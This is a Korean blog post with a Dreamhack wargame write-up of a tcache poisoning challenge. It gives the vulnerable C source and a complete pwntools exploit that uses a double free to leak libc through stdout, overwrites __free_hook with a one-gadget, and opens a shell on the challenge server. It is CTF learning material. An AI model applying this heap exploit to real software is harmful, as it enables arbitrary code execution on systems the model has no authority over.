[Dreamhack] Tcache Poisoning

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
36/44

📒 Description & Checksec

본 풀이를 진행하기 전에, 진짜 많이 시도한 문제이다.


📒 C code

📖 tcache_poison.c

// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  void *chunk = NULL;
  unsigned int size;
  int idx;

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    printf("1. Allocate\n");
    printf("2. Free\n");
    printf("3. Print\n");
    printf("4. Edit\n");
    scanf("%d", &idx);

    switch (idx) {
      case 1:
        printf("Size: ");
        scanf("%d", &size);
        chunk = malloc(size);
        printf("Content: ");
        read(0, chunk, size - 1);
        break;
      case 2:
        free(chunk);
        break;
      case 3:
        printf("Content: %s", chunk);
        break;
      case 4:
        printf("Edit chunk: ");
        read(0, chunk, size - 1);
        break;
      default:
        break;
    }
  }
  
  return 0;
}

생각보다 코드가 그리 길지는 않다. 문제를 어떻게 풀어야 할까. 우선 Edit chunk를 통해 free된 chunk여도 그 값을 바꿀 수가 있다. 딱히 실행할 것이 보이지 않기에, 우선 stdout이나 stdin을 통해 libc_base를 따고 free hook을 overwrite 해주면 되겠다.

stdout은 60으로 끝나고, stdin은 00으로 끝나니 stdout을 건들도록 하자. 그 이유는 이 주소들은 잘못 건들면 입출력이 잘 안되기 때문이다.


📒 Exploit

📖 exploit.py

from pwn import *

e = ELF('./tcache_poison')
l = ELF('./libc-2.27.so')
r = remote('host3.dreamhack.games',13185)

sla = r.sendlineafter
sa = r.sendafter
sl = r.sendline

def Create(size, data):
    sla(b'Edit\n',b'1')
    sla(b'Size: ', f'{size}'.encode())
    sa(b'Content: ', data)

def Delete():
    sla(b'Edit\n',b'2')

def Edit(data):
    sla(b'Edit\n',b'4')
    sa(b'Edit chunk: ',data)

def leak():
    sla(b'Edit\n',b'3')

put_got = e.got['puts']

#Delete()
Create(0x20,b'A'*8)
Delete()

Edit(p64(0x601010)+b'\x00'*8)
Delete()

Create(0x20, p64(0x601010))
Create(0x20, b'A'*8)
Create(0x20, b'\x60')

leak()

stdout_offset = l.symbols['_IO_2_1_stdout_']

r.recvuntil(b'Content: ')
#leak = r.recvline()
leak = u64(r.recv(6)+b'\x00'*2)
libc_base = leak - stdout_offset
oneshot = libc_base + 0x4f432
free_hook = libc_base + 0x3ed8e8

print(hex(libc_base))
#----------------------------------------------
Create(0x40,b'A'*8)
Delete()

Edit(p64(free_hook)+b'\x00'*8)
Delete()

Create(0x40, p64(free_hook))
Create(0x40, b'A'*8)
Create(0x40, p64(oneshot))

Delete()

r.interactive()

Edit을 통한 double-free가 되었기에 쉽게 문제를 해결할 수 있었다.

profile
Today I Learned

0개의 댓글